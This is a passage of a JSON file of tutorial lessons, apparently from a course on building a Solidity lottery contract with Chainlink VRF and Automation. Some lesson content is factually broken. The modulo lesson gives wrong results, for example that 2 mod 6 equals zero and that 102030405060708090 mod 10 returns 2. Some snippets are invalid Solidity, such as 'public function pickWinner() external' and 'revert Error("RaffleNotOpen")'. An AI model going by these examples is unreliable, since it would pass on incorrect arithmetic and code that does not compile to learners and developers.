the variable cannot be accessed directly from outside the contract. This variable is dynamic and its value will change frequently as players enter the lottery, leading to more storage operations.\n\nAs we are dealing with Ether which will be paid to these players, we should make it an `address payable` to ensure we can transfer funds to these players.\n\n## Updating Our Lottery\n\nWith our array in place, we can proceed to update our lottery function.\n\n```js\ns_players.push(payable(msg.sender));\n```\n\nWhen users enter the lottery, we add their address into our dynamic array. Using the `push` function, we can add the `msg.sender` to our `s_players` array.\n\n## Emitting Events: Announce It to the World!\n\nA key part of our function is missing: an event. Events in Ethereum are a mechanism to communicate that something has happened in a smart contract. These records can be used by the front-end of your application for various tasks and are also useful in migrating or updating your contracts. An event is typically emitted following any interaction with the contract that modifies its state.\n\nIn our case, we should emit an event when a player enters the lottery. For this, we'll create an event called `EnteredRaffle` which receives an indexed address type parameter. Indexed parameters are parameters that are much easier to search for and much easier to query than non-indexed ones.\n\n```js\n// Event Declaration\nevent EnteredRaffle(address indexed player);\n// Emitting the Event\nemit EnteredRaffle(msg.sender);\n```\n\n## In Conclusion\n\nAt this point, we've determined the data structure to use for our lottery, updated our function with it, and implemented events. The choices we discussed here should make picking a winner from all the participants seamless.\n", + "updates": [] + }, + { + "id": "62240b7f-d0a3-4182-9d00-ce5c2e738aba", + "number": 5, + "title": "Random numbers - Block Timestamp", + "slug": "solidity-random-number-block-timestamp", + "folderName": "5-block-timestamp", + "description": "Insights into using block timestamps for random number generation in lottery smart contracts.", + "duration": 4, + "videoUrl": "0ZAXHzB4YWs", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/5-block-timestamp/+page.md", + "markdownContent": "---\ntitle: Block Timestamp\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nToday, I'll be explaining and walking you through some crucial steps for developing an automatic lottery winner selection function, `pickWinner`.\n\n\n\n## The 'pickWinner' Explained\n\nThe `pickWinner` function isn't just about picking the winner but also getting a random number _and_ ensuring automatic selection happens seamlessly and precisely when it should.\n\nHere are a few things we want our `pickWinner` function to do:\n\n- Get a random number.\n- Use the random number to pick a player.\n- Trigger automatically (eliminating the need for manual interaction).\n\nLet's dive right into how we can achieve this. Initially, let's focus on the first two tasks—we can discuss automatic triggering later.\n\n### Getting a Random Number and Picking a Winner\n\nTo create an `external` function that anyone could call to select a random winner, we'd probably want the winner selection to happen when the lottery is ready for its winner. So, how do we know when that time is right? We make sure that enough time has elapsed to pick a winner.\n\n```js\npublic function pickWinner() external {}\n```\n\nWe'd achieve this by creating an `interval` variable, specifying how long our lottery will last before a winner is selected. However, since we wouldn't want to keep changing this value, we'll make it an `immutable` variable, meaning it can only be set in the constructor and remains constant throughout the contract's life.\n\n```js\nconstructor(uint256 entranceFee, uint256 interval) {\n i_entranceFee = entranceFee;\n i_interval = interval;\n}\n```\n\nComments are your best friend when reading code. So, don't forget to comment what `i_interval` contains: duration of the lottery in seconds.\n\n```js\n// Duration of the lottery in seconds\nuint256 private immutable i_interval;\n\n```\n\n### The Golden Period: Has Enough Time Passed?\n\nNext, we need to check if this preset interval has passed before invoking the `pickWinner` function. Which leads us into some thorough timestamp comparison, in which we will take block timestamps into account!\n\nThe `block.timestamp` global variable gives us the current time in seconds. Subtracting the previous timestamp from the current block timestamp should ideally be more significant than our preset interval.\n\n```js\nblock.timestamp - s_lastTimestamp > i_interval;\n```\n\nThis condition checks if enough time has passed, let's envision an example:\n\n- When `block.timestamp` is 1000 and `s_lastTimestamp` is 500, the elapsed time equals 500.\n- If the `I_interval` is 600 seconds, meaning that not enough time has passed and therefore, no winner should be picked.\n\nHowever, if the `block.timestamp` is 1200, 1200 - 500 equals 700, which is greater than our `I_interval` of 600. That means, enough time has passed, and it's time to announce a winner!\n\n### The 'Snapshot' of Time\n\nAlso, we would need to take a 'snapshot' of time, which we'll do by creating a `private` state variable that remains in storage—an `S_lastTimestamp`.\n\n```js\nuint256 private s_lastTimestamp;\n```\n\nThe initial `s_lastTimestamp` value would be set right in the constructor as the `block.timestamp` immediately the contract gets deployed, to start the 'interval' clock.\n\n```js\nconstructor() {\n s_lastTimestamp = block.timestamp;\n}\n```\n\nBelow, in our `pickWinner` function, we'll revert the transaction if the condition doesn't meet, because not enough time would have passed.\n\n```js\nif (block.timestamp - s_lastTimestamp < i_interval) {\n revert();\n}\n```\n\nOn the last note, while it might seem tempting to add custom errors right now, remember, it's best practice to refactor them eventually. So, for now, let's stick to checking the elapsed time.\n\n**NOTE**: Remember to update `s_lastTimestamp` once the winner has been picked.\n\n```js\ns_lastTimestamp = block.timestamp;\n```\n\nStay tuned for my next blog post, where we take this to the next level and discuss how to make the `pickWinner` function automatically triggered.\n\n**Happy Coding!**\n", + "updates": [] + }, + { + "id": "a21bd474-1086-4fe8-8545-33f6c33da57e", + "number": 6, + "title": "Random numbers - Introduction to Chainlink VRF", + "slug": "solidity-random-number-chainlink-vrf", + "folderName": "6-chainlink-vrf", + "description": "Introduction to using Chainlink VRF for generating random numbers in blockchain applications.", + "duration": 11, + "videoUrl": "A8obi954JXU", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/6-chainlink-vrf/+page.md", + "markdownContent": "---\ntitle: Chainlink VRF\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nWelcome! It's time to explore the tech behind **random number generation** on the blockchain using Chainlink VRF! This post will walk you through the concepts, step by step, aided by a helpful video from Chainlink team. By the end, you will understand how to use Chainlink VRF to draw a random winner for your dApp.\n\n## What is Chainlink VRF?\n\nVRF stands for **Verifiable Random Function**, a technology that enhances cryptographic capabilities. Chainlink's implementation provides developers with improved scalability, flexibility, and usability. According to Richard, a developer advocate at Chainlink Labs, a key element of VRF is its **subscription model**.\n\n\n\n## Walkthrough: Integrating Chainlink VRF\n\nTo wrap our heads around Chainlink VRF, we'll follow a well-detailed example using the Chainlink Labs documentation and one of their setup tutorials. This guide will help you:\n\n- Understand Chainlink VRF.\n- Create and fund a subscription.\n- Deploy a contract that uses VRF.\n- Make a request to draw a random number.\n\n### Getting Started with Chainlink VRF\n\nJump into the [Chainlink Documentation](https://docs.chain.link/) and navigate to the **VRF section**. In this guide, we're skipping everything else to focus on obtaining a random number.\n\n### Create & Fund a Subscription\n\nTo use Chainlink VRF, you need to establish a subscription, which you can visualize as a bucket from which your contracts extract. Navigate to the **Subscription Manager** and create your subscription; you can input an email and project name for personalization.\n\nThe process requires confirmation on a **test network**. For simplicity, this guide uses the Sepolia test network referenced in most Chainlink documentation.\n\nIf you don’t already have ETH and link tokens, you can secure them from [Chainlink Faucets](https://faucets.chain.link/).\n\nOnce you've got your tokens, add funds to the subscription (e.g., 5 link tokens).\n\n### Adding VRF Consumers\n\nAt this point, you've created your subscription, poured in funds, and are ready to deploy your contract.\n\nYou need to let your subscription know about the contract you're deploying and vice versa. To help them work in synchrony, you add consumers to your subscription.\n\n\n\n### Deploying a Chainlink VRF Contract\n\nReturn to the Chainlink documentation and click to open **Remix**, a development environment that enables you to deploy and interact with your contract on the blockchain.\n\nThe Chainlink VRF contract comprises various components:\n\n- **Contract imports**: Coordinator interface, Consumer base and Confirmed owner.\n- **Contract variables**: Subscription ID, Request IDs, Key hash, and more.\n- **Functions**: `RequestRandomWords()`, `FulfillRandomWords()`, `getStatusRequest()` etc.\n\nThe ultimate objective is to use the `RequestRandomWords()` function to call for random values from the Oracle network. Once those values are ready, the `FulfillRandomWords()` function allows you to process those values back in your contract.\n\nTo deploy the contract, specify your **subscription ID** and approve the transaction.\n\n\n\n### Making a Request\n\nOnce you've deployed your contract, copy its address and register it as a consumer in your subscription.\n\nBack in Remix, call the `RequestRandomWords()` function and confirm.\n\nYour request will show as pending on the Subscription page. Completion times can vary based on the number of block confirmations you specified and the network you're using.\n\n### Confirming Request Completion\n\nTo check whether your request has been fulfilled, copy the ID from `lastRequest()` function, then use `getStatusRequest()` to get the current status.\n\n)Once your request is marked as 'Fulfilled,' you've successfully drawn ! your random values using Chainlink VRF.\n\nThe transcript calls a wrap at this point, but now that you know how to generate random numbers on the blockchain, the opportunities are limitless. You can assign random traits to NFTs, determine game asset allocations, and so much more.\n\n_Please note: Cloud-based RNGs are not recommended for high-value use-cases and a combination of on and off-chain RNGs can offer a robust solution._\n\nThat was it for todays lesson! I hope you enjoyed it and learned something new. If you have any questions, don't forget to ask on the Github Forum.\n", + "updates": [] + }, + { + "id": "e1986802-cc3d-40ed-8cbc-12e9375eb206", + "number": 7, + "title": "Implement the Chainlink VRF", + "slug": "implementing-chainlink-vrf", + "folderName": "7-implementing-vrf", + "description": "Tutorial on deploying and integrating Chainlink VRF in smart contracts for random number generation.", + "duration": 17, + "videoUrl": "igV7TVPEIQY", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/7-implementing-vrf/+page.md", + "markdownContent": "---\ntitle: Implementing Chainlink VRF\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nToday, we will explore how to deploy a Chainlink Verifiable Random function (VRF) and integrate it into our existing code. It is a crucial element when we need to generate a random number within a blockchain application.\n\n## A Closer Look at Chainlink VRF\n\nBefore we dive into the process, let's take a closer look at Chainlink and its VRF.\n\nChainlink VRF provides auditable, transparent, and easily verifiable randomness in smart contract use-cases. It employs Verifiable Random Functionality, which takes a seed input to derive a Random output.\n\nThis process is done in a way that a third-party observer can public-verify the result, ensuring randomness that can't be biased or manipulated, because it leverages the security of the blockchain network itself.\n\nBrowse through the official [Chainlink documentation](https://docs.chain.link/docs/get-a-random-number/) to get a good first-hand experience of deploying and using Chainlink VRF. Different forms of usage are listed here, which will be explained below.\n\n## Getting Started with Chainlink VRF\n\nTo get started, fire up Remix and open the Chainlink documentation. Scroll down to the section titled `Get a Random Number` and look for the button labeled 'open in Remix'. This will bring up a code editor for you to modify.\n\nIn Remix, you will find pre-written code that uses the Sepolia chain as its default. Two primary methods are explained in the docs- one is Subscription, and the other is Direct Funding.\n\nSubscription is preferable as it scales better, as the contract pulls the link from a separate fund which you previously loaded up with the link.\n\n\n\nAfter setting up the subscription, you will promptly learn how to complete these steps programmatically, avoiding the need for navigating the user interface.\n\nThe primary goal is to add a randomization function. As developing with Chainlink VRF involves two transactions, the random number generation is also completed in two steps.\n\nFirstly, you send a request to generate a random number, followed by a second request to receive that random number. The request function signals Chainlink to select the lottery winner, while Chainlink returns the random number to the `callback` function, which announces the actual winner.\n\n## Implementing Random Number Function\n\nYou will find a code snippet in the 'Get a Random Number' section of the Chainlink documentation that will help you implement this random number fetch process.\n\nThe function call that enables this looks like this:\n\n```js\nuint256 requestId = i_vrfCoordinator.requestRandomWords(\n keyHash,\n s_subscriptionId,\n requestConfirmations,\n callbackGasLimit,\n numWords\n);\n```\n\nThis is the code you will insert into the existing code. After pasting the code, you will observe a multitude of red lines- don't worry; these will be resolved shortly.\n\nThis function requires a coordinator address, which is the address of the Chainlink VRF Coordinator to whom the random number is requested. This `keyHash` is your 'gas lane', and is something you can specify if you don't wish to consume much gas. Your `subscriptionId` is essentially the ID that you previously loaded with link to create requests.\n\nThe `requestConfirmations` is the number of block confirmations after which your random number is considered good, and the `callbackGasLimit` ensures you don't overspend on the request. Finally, `numWords` indicates the number of random numbers you require.\n\nOn receiving the request, Chainlink will return a `requestId`.\n\n## Configuring the Constructor\n\nThe `keyhash` is subject to variation depending on the chain, so I prefer calling it the 'gas lane'. As it's a constant in your smart contract, add `gasLane` to the constructor, making it an immutable variable.\n\nYou will need the VRF coordinator's address, which is unique to each chain, and thus needs to be passed through the constructor and made an immutable variable.\n\nYour `subscriptionId` will be specific to your Chainlink VRF subscription often received from the constructor, and the number of confirmations can be set as a constant variable- three confirmations being a common choice. The max gas for the callback function can be limited to prevent excessive gas costs caused by the second transaction when returning the random number.\n\n\n\nFinally, since you will only require one random number for selecting a winner, you can set the `numWords` as the constant variable equal to one. Now, when you fire and use Chainlink VRF, you can efficiently make a request.\n\n## Receiving a Response From Chainlink\n\nImplementing randomness into your contract is not simply about making request for a random number from Chainlink, you also need to be set up to receive that number back by implementing the function: `fulfillRandomWords`. This function is called by the Chainlink node, and should be set up to execute a specific action with the received random number- in this context, it will be selecting a lottery winner.\n\n## Wrapping It Up\n\nIn summary, the steps to implement Chainlink VRF are as follows:\n\n1. Make a request to Chainlink for a random number.\n2. Chainlink sends back that random number to a specified function, using VRF.\n3. Use the returned random number to pick a user as the lottery winner.\n\nThis lesson covered a range of helpful tips on how to deploy Chainlink, so feel free to go back through to fully understand the process. Generating secure and verifiable random numbers within the blockchain is an essential capability, and hopefully you now feel comfortable in deploying this for your future smart contracts. As always, happy coding!\n", + "updates": [] + }, + { + "id": "023a2d78-25db-4e82-b91d-2e61a0a9ecb6", + "number": 8, + "title": "The modulo operation", + "slug": "solidity-modulo-operation", + "folderName": "8-modulo", + "description": "Explanation of using the modulo operation for selecting random winners in smart contract games.", + "duration": 6, + "videoUrl": "Yuxpr_hX-lg", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/8-modulo/+page.md", + "markdownContent": "---\ntitle: Modulo\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nIn this lesson, I'll walk you through how to use the modulo function for picking a winner randomly from a list of players in Solidity, a contract-oriented programming language for implementing smart contracts.\n\n## Understanding Modulo\n\nLet's discuss how the modulo function or 'mod' function works. Essentially, this function performs a division operation and returns the remainder after dividing.\n\nConsider the case where we divide 10 by 10 using the mod function. Since there is no remainder, the function returns zero. Conversely, if we divide 10 by 9, 9 out of the 10 are divided evenly leaving one left. In this case, 10 mod 9 equals one.\n\nThis logic can be extended to all numbers:\n\n- 2 mod 2 equals zero because 2 and 2 divide evenly.\n- 2 mod 3 equals one because there's one left over.\n- 2 mod 6 equals zero because 2 divides into 6 evenly.\n- 2 mod 7 equals one because there's one left over after 2 divides into 7 three times.\n\nThrough these examples, we can see that the modulo function helps us find the remainder of a division operation.\n\n## Modulo in Action\n\nLet's put the mod function into practice:\n\n```js\ncontract ExampleModulo {\n function getModTen(uint _num) public pure returns(uint) {\n return _num % 10;\n }\n function getModTwo(uint _num) public pure returns(uint) {\n return _num % 2;\n }\n}\n```\n\nIn this contract, we've got two simple functions, `getModTen` and `getModTwo`, that return the modulo ten and two of the given integer respectively.\n\nFor example, if we pass 123 into getModTen, it would return 3 because 120 divides evenly into ten leaving a remainder of 3. If we have a large number, say 102030405060708090, the function would return 2 because the number divides evenly into ten with a remainder of 2.\n\nUsing mod two gives us a different way to look at numbers. Any even number mod two will result in zero. If the number is odd, the result will be one.\n\n## Picking a Winner\n\nNow we're going to use the mod function to randomly select a winner from an array of players. Let's say `s_players` is of size ten and has ten players. We're generating a random number (RNG) to select the index for our winner.\n\n```js\nuint256 indexOfWinner = randomWords[0] % s_players.length;\n```\n\nIf our RNG is, say, twelve, we'll calculate `12 mod 10`, which equals two, and the player at index two in the array is our winner. Once we have the index of the winner, we write:\n\n```js\naddress payable winner = s_players[indexOfWinner];\n```\n\nThis returns the address of the randomly selected winner.\n\nBesides, we'll also keep track of the most recent winner, which helps in knowing who won most recently.\n\n```js\naddress private s_recentWinner;\ns_recentWinner = winner;\n```\n\n\n\n## Transferring Rewards\n\nNow, let's transfer the winnings to the selected winner.\n\n```js\n(bool success,) = winner.call{value: address(this).balance}(\"\");\n```\n\nHere, we transfer the entire balance of the contract (which are the ticket sales) to the winner.\n\nTo ensure that transfer was successful:\n\n```js\nif (!success) {\n revert RaffleTransferFailed();\n}\n```\n\nThis reverts the transaction and refunds the gas if the transfer isn't successful, ensuring the winner does not lose out.\n\nTo conclude, the modulo function helps to generate a random index within the length of the players array, resulting in a fair selection of the winner. This can be used in various blockchain-based games and applications to ensure a level playing field.\n\nStay tuned for more posts on coding smart contracts in Solidity!\n", + "updates": [] + }, + { + "id": "1adf37cf-e707-49fb-bd19-55505e872df4", + "number": 9, + "title": "Implementing the lottery state - Enum", + "slug": "solidity-enum-lottery-state", + "folderName": "9-enum", + "description": "Discussion on using enums to manage different states in a raffle smart contract.", + "duration": 5, + "videoUrl": "gIZyar2-zQM", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/9-enum/+page.md", + "markdownContent": "---\ntitle: Enum\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nWhen we delve into developing applications like a raffle, managing the different states of the event is equally critical as the event itself. We will extend our previous discussion about picking a winner in the raffle and lead into governing who can enter the raffle. Of course, if we are currently awaiting a random number to determine the winner, it's not fair for anyone else to enter the raffle then, right?\n\nTo handle these kinds of situations, we need a mechanism in place—a check on the state of the raffle to determine if it's currently open or not. This is where `enums` step into the picture, offering a clean, readable, and maintainable solution.\n\n## An Introduction to the Concept of Enum\n\nBefore we start, a brief introduction to enums seems appropriate. An enum, also known as enumerated type, is a data type consisting of a set of unique elements. Enums provide an effective way to create and manage constant values throughout your contract. In other words, they help avoid scatter variables, such as bool calculating_winner = false, and group them into a single variable of type enum. For more details, [Solidity docs](https://solidity.readthedocs.io) give a glimpse into enum types.\n\n```js\ncontract Example {\n enum ActionChoices {\n GoLeft,\n GoRight,\n GoStraight,\n SitStill\n }\n }\n```\n\nEvery enum creates a new type, like `ActionChoices` in this example, that can be used throughout the contract.\n\n### Creating Enums for Raffle State\n\nNow, back to our raffle contract. We will create an enum named `RaffleState` with two states—`open` and `calculating`.\n\n```js\nenum RaffleState {\n OPEN,\n CALCULATING\n }\n```\n\nPoint to remember: Enum elements can be converted to integers. So here, `Open` would be 0 and `Calculating` would be 1. Adding more states will increment the integers equivalently.\n\nTo utilize this enum, we will create a `RaffleState` variable, named `s_raffleState`, storing the current state of the raffle.\n\n```js\nRaffleState private s_RaffleState;\n```\n\n### Default Setting and Transitioning States\n\nBy default, let's keep the raffle state `Open` (we do want the participants to rush in, don't we?). So, right in the constructor, assign the default state.\n\n```js\ns_raffleState = RaffleState.Open;\n```\n\nNow, extending our `enterRaffle` functionality, we will include a check to ensure the raffle is not in the `Calculating` state.\n\n```js\nif (s_raffleState != RaffleState.OPEN) {\n revert Error(\"RaffleNotOpen\");\n}\n```\n\nAnd subsequently, declare this error at the beginning of your contract.\n\n```js\nerror RaffleNotOpen();\n```\n\nNow, no entries can be made while the contract is calculating a winner.\n\n### State Transition during Winner Calculation\n\nWhen it's time to choose the winner (`pickWinner`), we will shift the state to ‘Calculating’.\n\n```js\ns_raffleState = RaffleState.CALCULATING;\n```\n\nRemember, as long as we are waiting for the random number, no one is allowed to enter the raffle.\n\nAnd once we have our lucky winner(s), it's time to switch the raffle state back to `Open` — let the game begin again!\n\n```js\ns_raffleState = RaffleState.OPEN;\n```\n\nSo your raffle is **open** to the public again … the adrenaline rush continues, building up to the next exciting round of winner selection!\n\n## Conclusion\n\nEnums offer a compact, clear way of representing and managing different states within your contracts. In our raffle example, we used this powerful feature to control who can enter the raffle and when. By using enums, we make our contracts more readable and modular and ensure they follow good programming practices. Make sure you use this feature to its fullest when programming your next Solidity contract!\n", + "updates": [] + }, + { + "id": "6ded233d-f088-4db0-aa90-aab75f471d44", + "number": 10, + "title": "Lottery restart - Resetting an Array", + "slug": "resetting-array", + "folderName": "10-resetting-array", + "description": "Exploration of resetting player arrays in smart contracts to start new game rounds.", + "duration": 2, + "videoUrl": "3xHdIO-FCOE", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/10-resetting-array/+page.md", + "markdownContent": "---\ntitle: Resetting an Array\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nIn this lesson, we will delve into the deeper components of smart contract design by focusing on starting a new game or resetting a stage in a lottery game. An essential factor to consider here is to ensure that no old players from the previous round can participate in the new lottery round without entering.\n\n### Resetting the Player Array\n\nFirstly, the player's array, denoted as `s_players`, needs to be reset for every new lottery round. If left untouched, `s_players` would still hold players from the previous lottery, allowing them to participate in new rounds without necessarily entering again – a loophole we definitely want to avoid!\n\nHere's how to do that:\n\n```javascript\n// Initialize new player array\ns_players = new address payable[](0);\n```\n\nThis code resets the `s_players` array into a new empty array. With this, we're all set to start accepting players for the new round!\n\n### Ticking Off The New Round's Timestamp\n\nNext, to keep track of when the new lottery round begins, we update the `s_last_timestamp` with the current block timestamp.\n\n```javascript\n// Update the timestamp\ns_last_timestamp = block.timestamp;\n```\n\nWith the timestamp updated, the clock automatically starts ticking for the new lottery round.\n\n### Emitting an Event on Winner Declaration\n\nAfter successfully resetting the state and declaring a winner, it is generally a good practice to emit a log event. This creates a simple and efficient way to inform anyone interested about the winner and can be useful for debugging or auditing contract executions.\n\nLet's create a new event called `WinnerPicked()`:\n\n```javascript\n// Creating new event\nevent WinnerPicked(address indexed winner);\n```\n\nHowever, to better capture the process, we can change the name from `WinnerPicked` to `PickedWinner`. Sounds more like an action, right?\n\n```javascript\n// Emitting the event\nemit PickedWinner(most_recent_winner);\n```\n\nThis emits a `Picked Winner` log with the winner's address every time a new lottery round begins.\n\nTo conclude,\n\n\n\nWhile there's no standardized naming convention for events in smart contracts, it's a good idea to keep names consistent, meaningful, and action-derived.\n\nThat sums up how to restart a new lottery round in a smart contract. Incorporating these practices in your future Ethereum smart contracts will ensure fair gaming and accurate auditing.\n", + "updates": [] + }, + { + "id": "896f5895-3b03-4098-8852-857e03996efd", + "number": 11, + "title": "Important: Note on learning by building", + "slug": "note-on-building", + "folderName": "11-note-on-building", + "description": "Insights into the true process of building solidity projects, highlighting the iterative nature of coding.", + "duration": 2, + "videoUrl": "DdVkEdkNwT4", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/11-note-on-building/+page.md", + "markdownContent": "---\ntitle: Note on Building\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nWhen it comes to building solidity projects, things may seem a bit too linear or straightforward when you watch a demo or read a tutorial. You may assume that I just go straight from the start to the finish without pausing, but this isn't always the case. In this piece, We aim to peel back the curtain and reveal the actual process — back and forth movements, the surprises, and the frequent pausing for debugging that are the actual hallmarks of building solidity projects effectively.\n\n## Breaking the Illusion of Once-through Coding\n\nFirstly, my seeming seamless way of doing these demos is not indicative of what normally happens when I code. It appears as if I am easily writing this contract from the beginning to the end, but that's far from the reality.\n\nHere, you might be impressed with how quickly and seamlessly we are coding this contract, but don't be fooled - it's not typical to write a contract in one go. In fact, it's not even possible to write a contract in one go. It's a process of writing, testing, and refactoring.\n\nBut the reality behind this façade is that We've carried out such demonstrations repeatedly. We've written this code countless times and spent vast hours refining our skills in solidity.\n\n## \"Piece by Piece\" Methodology\n\nWhen coding, rather than tackling the entire project as a whole, it's often beneficial to break it down. Rather than writing a contract in one go, which can be incredibly challenging, I find myself writing a deploy script and testing individual components of the contract, part by part as I build it.\n\n```markdown\n// As an example, at this point in my coding, I probably would have written tests\n// for various functions such as 'get entrance fee', 'pick winner' and 'enter raffle'.\n```\n\nWriting tests while coding is incredibly beneficial. In fact, it's a necessary practice when writing real projects. However, in this demonstration, I won't be writing tests or deploying scripts immediately.\n\nThe reason isn't that these steps aren't important — they absolutely are — but rather because we'll be performing extensive refactoring as we progress, and it's pointless to write tests for code that will soon be modified or discarded.\n\n## Understanding the Real Coding Project\n\nI must emphasize that this modeling doesn't portray reality accurately. True, it breaks down the functions and processes into understandable pieces. However, it veils the moments of debugging, the constant going back-and-forth, the nights when the code doesn't compile, and you can't figure out why.\n\n```markdown\n// When you're coding a real project, you may encounter setbacks like compilation errors and other bugs\nthat may require you to troubleshoot and refactor your program.\n```\n\nHowever, here is an essential truth:\n\n\n\nSo, as you journey through coding projects, remember to take a deep breath and hop back into it whenever you experience any of these hitches. It's okay, and it's good. It means you're learning, and with every bug fixed or problem solved, you become a better programmer.\n\nSo next time you see me sailing through a demo or tutorial, remember there's more to it than meets the eye. Happy coding!\n", + "updates": [] + }, + { + "id": "1eb044f4-5ca5-49ff-a426-2d428dc7db5c", + "number": 12, + "title": "The CEI method - Checks, Effects, Interactions", + "slug": "cei-method-checks-effects-interactions", + "folderName": "12-cei", + "description": "An overview of the Checks-Effects-Interactions pattern for secure and efficient smart contract development.", + "duration": 3, + "videoUrl": "rGbrYvJtOdc", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/12-cei/+page.md", + "markdownContent": "---\ntitle: Checks, Effects, and Interactions\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nIn this lesson, we'll explore a critical design pattern that every smart contract developer needs to know - the Checks-Effects-Interactions (CEI) pattern. By adhering to this pattern, you'll ensure your smart contracts are more secure and maintainable.\n\n## Understanding the Checks-Effects-Interactions (CEI) Pattern\n\nCoding smart contracts requires a particular style called Checks-Effects-Interactions or CEI. This is one of the several design patterns that smart contract developers need to maintain in their coding processes. Following the CEI pattern increases the overall security of your contracts.\n\nThe CEI pattern involves three detailed steps:\n\n1. **Checks:** This is the initial step where you do all your validations or checks. An example could be your `requires` or `if-then` errors. Generally, it's more efficient to place these checks at the very beginning of your contract. The reason is they are more gas-efficient. In a situation where you need to revert, doing so at this stage will save more gas than performing other computations only to revert later.\n\n \n\n2. **Effects:** In this step, you make changes or \"effects\" within your own contract.\n3. **Interactions:** This final step involves interactions with other contracts. One crucial point to note here is it's best to interact with outside contracts last.\n\nOne of the reasons to follow this pattern is to avoid reentrancy attacks, a common vulnerability in smart contracts. Understanding and implementing the CEI pattern early on means you're proactively safeguarding your contracts from potential attacks.\n\n## Effective Handling of External Interactions and Events\n\nWhile discussing the third step of the CEI pattern – interactions, we should touch on the usage of events and their placement in the code. Emitting an event at the end might seem like an external interaction, but it's not. It would be best to move it before we have any interactions with external contracts.\n\n\n\nThere can be a debate about the position of events. Some developers prefer positioning them after the interactions. However, if we take a look from the code review or audit perspective, it's usually recommended to place the event before the external interactions, largely because of several reasons that we'll cover in subsequent blog posts.\n\nIn conclusion, the Checks-Effects-Interactions (CEI) pattern is a cornerstone of secure, gas-efficient smart contract development. Remember this design pattern and apply it consistently when developing your smart contracts: always do your checks first, followed by the effects, and finally perform external interactions. Following this approach is a step in the right direction towards ensuring you're always delivering robust and secure smart contracts.\n", + "updates": [] + }, + { + "id": "4ccf702a-906a-4dae-a78d-cc692656a4cd", + "number": 13, + "title": "Introduction to Chainlink Automation", + "slug": "chainlink-automation", + "folderName": "13-chainlink-automation", + "description": "This lesson covers the basics of Chainlink Automation, essential for automating the 'Pick Winner' function in a lottery application. It delves into the use of Chainlink VRF for randomness and explores time-based automation and custom logic through Chainlink.", + "duration": 16, + "videoUrl": "6-bmw6VHZ6Q", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/13-chainlink-automation/+page.md", + "markdownContent": "---\ntitle: Chainlink Automation Introduction\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nWe've been working towards building a lottery application with Chainlink VRF to handle the randomness needed to pick a winner. So far, we've developed a `Pick Winner` function which initiates a Chainlink VRF call and carries out the `fulfill` function to generate a random number and select a winner from the lot. However, the current flow has an issue; the `Pick Winner` function isn’t called automatically - leaving it up-to manual intervention.\n\nThis is where the beauty of automation kicks in. As software engineers, we aim for efficient and effective solutions. Speaking of efficiency, I’d like to introduce you to **Chainlink Automation**, which will allow us to automatically run our `Pick Winner` function.\n\n## Using Chainlink Automation\n\nThe [Chainlink documentation](https://docs.chain.link/chainlink-automation/introduction) provides a wealth of information when it comes to automation. We can access guides from the `Automation` tab present on the left-hand panel. For our purpose, we'll be exploring the `Time Based` automation and `Custom Logic` sections.\n\nAlthough this guide shows how to work with Chainlink from the UI, we will be primarily approaching this programmatically - remaining true to our prudent working style!\n\nIf we scroll down, we can find an example of a contract named `Create Compatible Contracts` suitable for use with Chainlink automation. Either you can try it out in the Remix IDE yourself or we can collectively go through a video where Richard, one of the developer advocates at Chainlink Labs, explains Chainlink Automation and conducts a demonstration.\n\n## Exploring Automatic Keepers\n\nIn this video, Richard provides a walkthrough on updates to Chainlink’s Keepers, starting with how to connect a wallet from the Chainlink Keepers UI, registering a new upkeep, and implementing time-based trigger mechanisms.\n\nThe `Keepers Chainlink` page has changed a bit, but it’s quite straightforward. Upon registering a new upkeep, you will find the `trigger` option. As Richard explains, this option is extremely useful for implementing timed-based triggers which was formerly achieved by checking upkeep with block hashes.\n\nAfter connecting the wallet and setting up the Keepers, the next step is to work on a simple contract known as `Keeper compatible contracts`. If you’ve worked with previous versions, you'll recognize the `check Upkeep function` and `perform Upkeep function`.\n\n## Modifying the Contract\n\nTime to roll up our sleeves and modify this sample contract. As explained, `Remix` is an online IDE for developing solidity smart contracts, which we will be using to modify our existing contract. We aim to create the same functionality in an easier, more readable way.\n\nStarting with a contract count function that doesn’t require any external input, we aim to increment the counter at regular intervals. Notably, with time-based triggers, we can get rid of the `check upkeep` function and `perform upkeep` function.\n\nUpon getting rid of unnecessary functions, the contract is compiled, displaying a green checkmark for successful compilation. From there, constructor values are set and deployed. In this case, the contract was deployed to the `Fuji Avalanche Test Network`.\n\n## Using Keepers in Practice\n\nNext, we head to the `Keepers` interface and fill necessary details like the address of our contract and schedule for triggering in terms of Cron syntax. Post registration, you may need to receive some link tokens - which you can get from the faucet linked from the register page.\n\nAfter registering and making necessary confirmations, the interface will present a page detailing the upkeep, historical data, and options for editing gas limits or adding more link tokens.\n\nJust like that, using Chainlink Keepers, we're able to automate our smart contracts! Tiny contracts that are easy to understand and cleaner, just how we like them.\n\n\n", + "updates": [] + }, + { + "id": "28181c1e-a98a-47a4-b2f3-a246b5e6c62f", + "number": 14, + "title": "Implementing Chainlink Automation", + "slug": "implementing-automation-2", + "folderName": "14-implementing-automation-2", + "description": "Focusing on implementing Chainlink Automation, this lesson teaches how to use `checkUpkeep` and `performUpkeep` functions for automated execution in Chainlink-powered smart contracts, enhancing their autonomy and efficiency.", + "duration": 10, + "videoUrl": "Y-Fl9kQtPHo", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/14-implementing-automation-2/+page.md", + "markdownContent": "---\ntitle: Implementing 